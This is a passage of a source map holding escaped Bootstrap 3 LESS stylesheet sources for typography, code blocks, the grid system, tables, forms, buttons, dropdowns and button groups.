browser default\n margin-bottom: @line-height-computed;\n}\ndt,\ndd {\n line-height: @line-height-base;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0; // Undo browser default\n}\n\n// Horizontal description lists\n//\n// Defaults to being stacked without any of the below styles applied, until the\n// grid breakpoint is reached (default of ~768px).\n\n.dl-horizontal {\n dd {\n &:extend(.clearfix all); // Clear the floated `dt` if an empty `dd` is present\n }\n\n @media (min-width: @dl-horizontal-breakpoint) {\n dt {\n float: left;\n width: (@dl-horizontal-offset - 20);\n clear: left;\n text-align: right;\n .text-overflow();\n }\n dd {\n margin-left: @dl-horizontal-offset;\n }\n }\n}\n\n\n// Misc\n// -------------------------\n\n// Abbreviations and acronyms\nabbr[title],\n// Add data-* attribute to help out our tooltip plugin, per https://github.com/twbs/bootstrap/issues/5257\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted @abbr-border-color;\n}\n.initialism {\n font-size: 90%;\n .text-uppercase();\n}\n\n// Blockquotes\nblockquote {\n padding: (@line-height-computed / 2) @line-height-computed;\n margin: 0 0 @line-height-computed;\n font-size: @blockquote-font-size;\n border-left: 5px solid @blockquote-border-color;\n\n p,\n ul,\n ol {\n &:last-child {\n margin-bottom: 0;\n }\n }\n\n // Note: Deprecated small and .small as of v3.1.0\n // Context: https://github.com/twbs/bootstrap/issues/11660\n footer,\n small,\n .small {\n display: block;\n font-size: 80%; // back to default font-size\n line-height: @line-height-base;\n color: @blockquote-small-color;\n\n &:before {\n content: '\\2014 \\00A0'; // em dash, nbsp\n }\n }\n}\n\n// Opposite alignment of blockquote\n//\n// Heads up: `blockquote.pull-right` has been deprecated as of v3.1.0.\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid @blockquote-border-color;\n border-left: 0;\n text-align: right;\n\n // Account for citation\n footer,\n small,\n .small {\n &:before { content: ''; }\n &:after {\n content: '\\00A0 \\2014'; // nbsp, em dash\n }\n }\n}\n\n// Addresses\naddress {\n margin-bottom: @line-height-computed;\n font-style: normal;\n line-height: @line-height-base;\n}\n","// Typography\n\n.text-emphasis-variant(@color) {\n color: @color;\n a&:hover,\n a&:focus {\n color: darken(@color, 10%);\n }\n}\n","// Contextual backgrounds\n\n.bg-variant(@color) {\n background-color: @color;\n a&:hover,\n a&:focus {\n background-color: darken(@color, 10%);\n }\n}\n","// Text overflow\n// Requires inline-block or block for proper styling\n\n.text-overflow() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","//\n// Code (inline and block)\n// --------------------------------------------------\n\n\n// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: @font-family-monospace;\n}\n\n// Inline code\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: @code-color;\n background-color: @code-bg;\n border-radius: @border-radius-base;\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: @kbd-color;\n background-color: @kbd-bg;\n border-radius: @border-radius-small;\n box-shadow: inset 0 -1px 0 rgba(0,0,0,.25);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n }\n}\n\n// Blocks of code\npre {\n display: block;\n padding: ((@line-height-computed - 1) / 2);\n margin: 0 0 (@line-height-computed / 2);\n font-size: (@font-size-base - 1); // 14px to 13px\n line-height: @line-height-base;\n word-break: break-all;\n word-wrap: break-word;\n color: @pre-color;\n background-color: @pre-bg;\n border: 1px solid @pre-border-color;\n border-radius: @border-radius-base;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: @pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","//\n// Grid system\n// --------------------------------------------------\n\n\n// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n.container {\n .container-fixed();\n\n @media (min-width: @screen-sm-min) {\n width: @container-sm;\n }\n @media (min-width: @screen-md-min) {\n width: @container-md;\n }\n @media (min-width: @screen-lg-min) {\n width: @container-lg;\n }\n}\n\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but without any defined\n// width for fluid, full width layouts.\n\n.container-fluid {\n .container-fixed();\n}\n\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n.row {\n .make-row();\n}\n\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n.make-grid-columns();\n\n\n// Extra small grid\n//\n// Columns, offsets, pushes, and pulls for extra small devices like\n// smartphones.\n\n.make-grid(xs);\n\n\n// Small grid\n//\n// Columns, offsets, pushes, and pulls for the small device range, from phones\n// to tablets.\n\n@media (min-width: @screen-sm-min) {\n .make-grid(sm);\n}\n\n\n// Medium grid\n//\n// Columns, offsets, pushes, and pulls for the desktop device range.\n\n@media (min-width: @screen-md-min) {\n .make-grid(md);\n}\n\n\n// Large grid\n//\n// Columns, offsets, pushes, and pulls for the large desktop device range.\n\n@media (min-width: @screen-lg-min) {\n .make-grid(lg);\n}\n","// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n// Centered container element\n.container-fixed(@gutter: @grid-gutter-width) {\n margin-right: auto;\n margin-left: auto;\n padding-left: floor((@gutter / 2));\n padding-right: ceil((@gutter / 2));\n &:extend(.clearfix all);\n}\n\n// Creates a wrapper for a series of columns\n.make-row(@gutter: @grid-gutter-width) {\n margin-left: ceil((@gutter / -2));\n margin-right: floor((@gutter / -2));\n &:extend(.clearfix all);\n}\n\n// Generate the extra small columns\n.make-xs-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n float: left;\n width: percentage((@columns / @grid-columns));\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n}\n.make-xs-column-offset(@columns) {\n margin-left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-push(@columns) {\n left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-pull(@columns) {\n right: percentage((@columns / @grid-columns));\n}\n\n// Generate the small columns\n.make-sm-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-sm-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-offset(@columns) {\n @media (min-width: @screen-sm-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-push(@columns) {\n @media (min-width: @screen-sm-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-pull(@columns) {\n @media (min-width: @screen-sm-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the medium columns\n.make-md-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-md-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-offset(@columns) {\n @media (min-width: @screen-md-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-push(@columns) {\n @media (min-width: @screen-md-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-pull(@columns) {\n @media (min-width: @screen-md-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the large columns\n.make-lg-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-lg-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-offset(@columns) {\n @media (min-width: @screen-lg-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-push(@columns) {\n @media (min-width: @screen-lg-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-pull(@columns) {\n @media (min-width: @screen-lg-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `@grid-columns`.\n\n.make-grid-columns() {\n // Common styles for all sizes of grid columns, widths 1-12\n .col(@index) { // initial\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general; \"=<\" isn't a typo\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n position: relative;\n // Prevent columns from collapsing when empty\n min-height: 1px;\n // Inner gutter via padding\n padding-left: ceil((@grid-gutter-width / 2));\n padding-right: floor((@grid-gutter-width / 2));\n }\n }\n .col(1); // kickstart it\n}\n\n.float-grid-columns(@class) {\n .col(@index) { // initial\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n float: left;\n }\n }\n .col(1); // kickstart it\n}\n\n.calc-grid-column(@index, @class, @type) when (@type = width) and (@index > 0) {\n .col-@{class}-@{index} {\n width: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index > 0) {\n .col-@{class}-push-@{index} {\n left: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index = 0) {\n .col-@{class}-push-0 {\n left: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index > 0) {\n .col-@{class}-pull-@{index} {\n right: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index = 0) {\n .col-@{class}-pull-0 {\n right: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = offset) {\n .col-@{class}-offset-@{index} {\n margin-left: percentage((@index / @grid-columns));\n }\n}\n\n// Basic looping in LESS\n.loop-grid-columns(@index, @class, @type) when (@index >= 0) {\n .calc-grid-column(@index, @class, @type);\n // next iteration\n .loop-grid-columns((@index - 1), @class, @type);\n}\n\n// Create grid for specific class\n.make-grid(@class) {\n .float-grid-columns(@class);\n .loop-grid-columns(@grid-columns, @class, width);\n .loop-grid-columns(@grid-columns, @class, pull);\n .loop-grid-columns(@grid-columns, @class, push);\n .loop-grid-columns(@grid-columns, @class, offset);\n}\n","//\n// Tables\n// --------------------------------------------------\n\n\ntable {\n background-color: @table-bg;\n}\ncaption {\n padding-top: @table-cell-padding;\n padding-bottom: @table-cell-padding;\n color: @text-muted;\n text-align: left;\n}\nth {\n text-align: left;\n}\n\n\n// Baseline styles\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: @line-height-computed;\n // Cells\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-cell-padding;\n line-height: @line-height-base;\n vertical-align: top;\n border-top: 1px solid @table-border-color;\n }\n }\n }\n // Bottom align for column headings\n > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid @table-border-color;\n }\n // Remove top border from thead by default\n > caption + thead,\n > colgroup + thead,\n > thead:first-child {\n > tr:first-child {\n > th,\n > td {\n border-top: 0;\n }\n }\n }\n // Account for multiple tbody instances\n > tbody + tbody {\n border-top: 2px solid @table-border-color;\n }\n\n // Nesting\n .table {\n background-color: @body-bg;\n }\n}\n\n\n// Condensed table w/ half padding\n\n.table-condensed {\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-condensed-cell-padding;\n }\n }\n }\n}\n\n\n// Bordered version\n//\n// Add borders all around the table and between all the columns.\n\n.table-bordered {\n border: 1px solid @table-border-color;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n border: 1px solid @table-border-color;\n }\n }\n }\n > thead > tr {\n > th,\n > td {\n border-bottom-width: 2px;\n }\n }\n}\n\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n > tbody > tr:nth-of-type(odd) {\n background-color: @table-bg-accent;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n > tbody > tr:hover {\n background-color: @table-bg-hover;\n }\n}\n\n\n// Table cell sizing\n//\n// Reset default table behavior\n\ntable col[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-column;\n}\ntable {\n td,\n th {\n &[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-cell;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n// Generate the contextual variants\n.table-row-variant(active; @table-bg-active);\n.table-row-variant(success; @state-success-bg);\n.table-row-variant(info; @state-info-bg);\n.table-row-variant(warning; @state-warning-bg);\n.table-row-variant(danger; @state-danger-bg);\n\n\n// Responsive tables\n//\n// Wrap your tables in `.table-responsive` and we'll make them mobile friendly\n// by enabling horizontal scrolling. Only applies <768px. Everything above that\n// will display normally.\n\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%; // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)\n\n @media screen and (max-width: @screen-xs-max) {\n width: 100%;\n margin-bottom: (@line-height-computed * 0.75);\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid @table-border-color;\n\n // Tighten up spacing\n > .table {\n margin-bottom: 0;\n\n // Ensure the content doesn't wrap\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n white-space: nowrap;\n }\n }\n }\n }\n\n // Special overrides for the bordered tables\n > .table-bordered {\n border: 0;\n\n // Nuke the appropriate borders so that the parent can handle them\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n\n // Only nuke the last row's bottom-border in `tbody` and `tfoot` since\n // chances are there will be only one `tr` in a `thead` and that would\n // remove the border altogether.\n > tbody,\n > tfoot {\n > tr:last-child {\n > th,\n > td {\n border-bottom: 0;\n }\n }\n }\n\n }\n }\n}\n","// Tables\n\n.table-row-variant(@state; @background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table > thead > tr,\n .table > tbody > tr,\n .table > tfoot > tr {\n > td.@{state},\n > th.@{state},\n &.@{state} > td,\n &.@{state} > th {\n background-color: @background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover > tbody > tr {\n > td.@{state}:hover,\n > th.@{state}:hover,\n &.@{state}:hover > td,\n &:hover > .@{state},\n &.@{state}:hover > th {\n background-color: darken(@background, 5%);\n }\n }\n}\n","//\n// Forms\n// --------------------------------------------------\n\n\n// Normalize non-controls\n//\n// Restyle and baseline non-control form elements.\n\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n // Chrome and Firefox set a `min-width: min-content;` on fieldsets,\n // so we reset that to ensure it behaves more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359.\n min-width: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: @line-height-computed;\n font-size: (@font-size-base * 1.5);\n line-height: inherit;\n color: @legend-color;\n border: 0;\n border-bottom: 1px solid @legend-border-color;\n}\n\nlabel {\n display: inline-block;\n max-width: 100%; // Force IE8 to wrap long content (see https://github.com/twbs/bootstrap/issues/13141)\n margin-bottom: 5px;\n font-weight: bold;\n}\n\n\n// Normalize form controls\n//\n// While most of our form styles require extra classes, some basic normalization\n// is required to ensure optimum display with or without those classes to better\n// address browser inconsistencies.\n\n// Override content-box in Normalize (* isn't specific enough)\ninput[type=\"search\"] {\n .box-sizing(border-box);\n}\n\n// Position radios and checkboxes better\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9; // IE8-9\n line-height: normal;\n}\n\ninput[type=\"file\"] {\n display: block;\n}\n\n// Make range inputs behave like textual form controls\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\n\n// Make multiple select elements height not fixed\nselect[multiple],\nselect[size] {\n height: auto;\n}\n\n// Focus for file, radio, and checkbox\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n .tab-focus();\n}\n\n// Adjust output element\noutput {\n display: block;\n padding-top: (@padding-base-vertical + 1);\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n}\n\n\n// Common form controls\n//\n// Shared size and type resets for form controls. Apply `.form-control` to any\n// of the following form controls:\n//\n// select\n// textarea\n// input[type=\"text\"]\n// input[type=\"password\"]\n// input[type=\"datetime\"]\n// input[type=\"datetime-local\"]\n// input[type=\"date\"]\n// input[type=\"month\"]\n// input[type=\"time\"]\n// input[type=\"week\"]\n// input[type=\"number\"]\n// input[type=\"email\"]\n// input[type=\"url\"]\n// input[type=\"search\"]\n// input[type=\"tel\"]\n// input[type=\"color\"]\n\n.form-control {\n display: block;\n width: 100%;\n height: @input-height-base; // Make inputs at least the height of their button counterpart (base line-height + padding + border)\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n background-color: @input-bg;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid @input-border;\n border-radius: @input-border-radius; // Note: This has no effect on s in CSS.\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));\n .transition(~\"border-color ease-in-out .15s, box-shadow ease-in-out .15s\");\n\n // Customize the `:focus` state to imitate native WebKit styles.\n .form-control-focus();\n\n // Placeholder\n .placeholder();\n\n // Unstyle the caret on ``\n// element gets special love because it's special, and that's a fact!\n.input-size(@input-height; @padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n height: @input-height;\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n\n select& {\n height: @input-height;\n line-height: @input-height;\n }\n\n textarea&,\n select[multiple]& {\n height: auto;\n }\n}\n","//\n// Buttons\n// --------------------------------------------------\n\n\n// Base styles\n// --------------------------------------------------\n\n.btn {\n display: inline-block;\n margin-bottom: 0; // For input.btn\n font-weight: @btn-font-weight;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n white-space: nowrap;\n .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size-base; @line-height-base; @btn-border-radius-base);\n .user-select(none);\n\n &,\n &:active,\n &.active {\n &:focus,\n &.focus {\n .tab-focus();\n }\n }\n\n &:hover,\n &:focus,\n &.focus {\n color: @btn-default-color;\n text-decoration: none;\n }\n\n &:active,\n &.active {\n outline: 0;\n background-image: none;\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n .opacity(.65);\n .box-shadow(none);\n }\n\n a& {\n &.disabled,\n fieldset[disabled] & {\n pointer-events: none; // Future-proof disabling of clicks on `` elements\n }\n }\n}\n\n\n// Alternate buttons\n// --------------------------------------------------\n\n.btn-default {\n .button-variant(@btn-default-color; @btn-default-bg; @btn-default-border);\n}\n.btn-primary {\n .button-variant(@btn-primary-color; @btn-primary-bg; @btn-primary-border);\n}\n// Success appears as green\n.btn-success {\n .button-variant(@btn-success-color; @btn-success-bg; @btn-success-border);\n}\n// Info appears as blue-green\n.btn-info {\n .button-variant(@btn-info-color; @btn-info-bg; @btn-info-border);\n}\n// Warning appears as orange\n.btn-warning {\n .button-variant(@btn-warning-color; @btn-warning-bg; @btn-warning-border);\n}\n// Danger and error appear as red\n.btn-danger {\n .button-variant(@btn-danger-color; @btn-danger-bg; @btn-danger-border);\n}\n\n\n// Link buttons\n// -------------------------\n\n// Make a button look and behave like a link\n.btn-link {\n color: @link-color;\n font-weight: normal;\n border-radius: 0;\n\n &,\n &:active,\n &.active,\n &[disabled],\n fieldset[disabled] & {\n background-color: transparent;\n .box-shadow(none);\n }\n &,\n &:hover,\n &:focus,\n &:active {\n border-color: transparent;\n }\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n background-color: transparent;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @btn-link-disabled-color;\n text-decoration: none;\n }\n }\n}\n\n\n// Button Sizes\n// --------------------------------------------------\n\n.btn-lg {\n // line-height: ensure even-numbered height of button next to large input\n .button-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @btn-border-radius-large);\n}\n.btn-sm {\n // line-height: ensure proper height of button next to small input\n .button-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n.btn-xs {\n .button-size(@padding-xs-vertical; @padding-xs-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n\n\n// Block button\n// --------------------------------------------------\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n// Vertically space out multiple block buttons\n.btn-block + .btn-block {\n margin-top: 5px;\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n.button-variant(@color; @background; @border) {\n color: @color;\n background-color: @background;\n border-color: @border;\n\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 25%);\n }\n &:hover {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n\n &:hover,\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 17%);\n border-color: darken(@border, 25%);\n }\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n background-image: none;\n }\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus,\n &.focus {\n background-color: @background;\n border-color: @border;\n }\n }\n\n .badge {\n color: @background;\n background-color: @color;\n }\n}\n\n// Button sizes\n.button-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n}\n","// Opacity\n\n.opacity(@opacity) {\n opacity: @opacity;\n // IE8 filter\n @opacity-ie: (@opacity * 100);\n filter: ~\"alpha(opacity=@{opacity-ie})\";\n}\n","//\n// Component animations\n// --------------------------------------------------\n\n// Heads up!\n//\n// We don't use the `.opacity()` mixin here since it causes a bug with text\n// fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552.\n\n.fade {\n opacity: 0;\n .transition(opacity .15s linear);\n &.in {\n opacity: 1;\n }\n}\n\n.collapse {\n display: none;\n\n &.in { display: block; }\n tr&.in { display: table-row; }\n tbody&.in { display: table-row-group; }\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n .transition-property(~\"height, visibility\");\n .transition-duration(.35s);\n .transition-timing-function(ease);\n}\n","//\n// Dropdown menus\n// --------------------------------------------------\n\n\n// Dropdown arrow/caret\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: @caret-width-base dashed;\n border-top: @caret-width-base solid ~\"\\9\"; // IE8\n border-right: @caret-width-base solid transparent;\n border-left: @caret-width-base solid transparent;\n}\n\n// The dropdown wrapper (div)\n.dropup,\n.dropdown {\n position: relative;\n}\n\n// Prevent the focus on the dropdown toggle when closing dropdowns\n.dropdown-toggle:focus {\n outline: 0;\n}\n\n// The dropdown menu (ul)\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: @zindex-dropdown;\n display: none; // none by default, but block on \"open\" of the menu\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0; // override default ul\n list-style: none;\n font-size: @font-size-base;\n text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n background-color: @dropdown-bg;\n border: 1px solid @dropdown-fallback-border; // IE8 fallback\n border: 1px solid @dropdown-border;\n border-radius: @border-radius-base;\n .box-shadow(0 6px 12px rgba(0,0,0,.175));\n background-clip: padding-box;\n\n // Aligns the dropdown menu to right\n //\n // Deprecated as of 3.1.0 in favor of `.dropdown-menu-[dir]`\n &.pull-right {\n right: 0;\n left: auto;\n }\n\n // Dividers (basically an hr) within the dropdown\n .divider {\n .nav-divider(@dropdown-divider-bg);\n }\n\n // Links within the dropdown menu\n > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: @line-height-base;\n color: @dropdown-link-color;\n white-space: nowrap; // prevent links from randomly breaking onto new lines\n }\n}\n\n// Hover/Focus state\n.dropdown-menu > li > a {\n &:hover,\n &:focus {\n text-decoration: none;\n color: @dropdown-link-hover-color;\n background-color: @dropdown-link-hover-bg;\n }\n}\n\n// Active state\n.dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-active-color;\n text-decoration: none;\n outline: 0;\n background-color: @dropdown-link-active-bg;\n }\n}\n\n// Disabled state\n//\n// Gray out text and ensure the hover/focus state remains gray\n\n.dropdown-menu > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-disabled-color;\n }\n\n // Nuke hover/focus effects\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none; // Remove CSS gradient\n .reset-filter();\n cursor: @cursor-disabled;\n }\n}\n\n// Open state for the dropdown\n.open {\n // Show the menu\n > .dropdown-menu {\n display: block;\n }\n\n // Remove the outline when :focus is triggered\n > a {\n outline: 0;\n }\n}\n\n// Menu positioning\n//\n// Add extra class to `.dropdown-menu` to flip the alignment of the dropdown\n// menu with the parent.\n.dropdown-menu-right {\n left: auto; // Reset the default from `.dropdown-menu`\n right: 0;\n}\n// With v3, we enabled auto-flipping if you have a dropdown within a right\n// aligned nav component. To enable the undoing of that, we provide an override\n// to restore the default dropdown menu alignment.\n//\n// This is only for left-aligning a dropdown menu within a `.navbar-right` or\n// `.pull-right` nav component.\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n\n// Dropdown section headers\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: @font-size-small;\n line-height: @line-height-base;\n color: @dropdown-header-color;\n white-space: nowrap; // as with > li > a\n}\n\n// Backdrop to catch body clicks on mobile, etc.\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: (@zindex-dropdown - 10);\n}\n\n// Right aligned dropdowns\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n//\n// Just add .dropup after the standard .dropdown class and you're set, bro.\n// TODO: abstract this so that the navbar fixed styles are not placed here?\n\n.dropup,\n.navbar-fixed-bottom .dropdown {\n // Reverse the caret\n .caret {\n border-top: 0;\n border-bottom: @caret-width-base dashed;\n border-bottom: @caret-width-base solid ~\"\\9\"; // IE8\n content: \"\";\n }\n // Different positioning for bottom up menu\n .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n }\n}\n\n\n// Component alignment\n//\n// Reiterate per navbar.less and the modified component alignment there.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-right {\n .dropdown-menu {\n .dropdown-menu-right();\n }\n // Necessary for overrides of the default right aligned menu.\n // Will remove come v4 in all likelihood.\n .dropdown-menu-left {\n .dropdown-menu-left();\n }\n }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n.nav-divider(@color: #e5e5e5) {\n height: 1px;\n margin: ((@line-height-computed / 2) - 1) 0;\n overflow: hidden;\n background-color: @color;\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n","//\n// Button groups\n// --------------------------------------------------\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle; // match .btn alignment given font-size hack above\n > .btn {\n position: relative;\n float: left;\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active,\n &.active {\n z-index: 2;\n }\n }\n}\n\n// Prevent double borders when buttons are next to each other\n.btn-group {\n .btn + .btn,\n .btn + .btn-group,\n .btn-group + .btn,\n .btn-group + .btn-group {\n margin-left: -1px;\n }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n margin-left: -5px; // Offset the first child's margin\n &:extend(.clearfix all);\n\n .btn,\n .btn-group,\n .input-group {\n float: left;\n }\n > .btn,\n > .btn-group,\n > .input-group {\n margin-left: 5px;\n }\n}\n\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n\n// Set corners individual because sometimes a single button can be in a 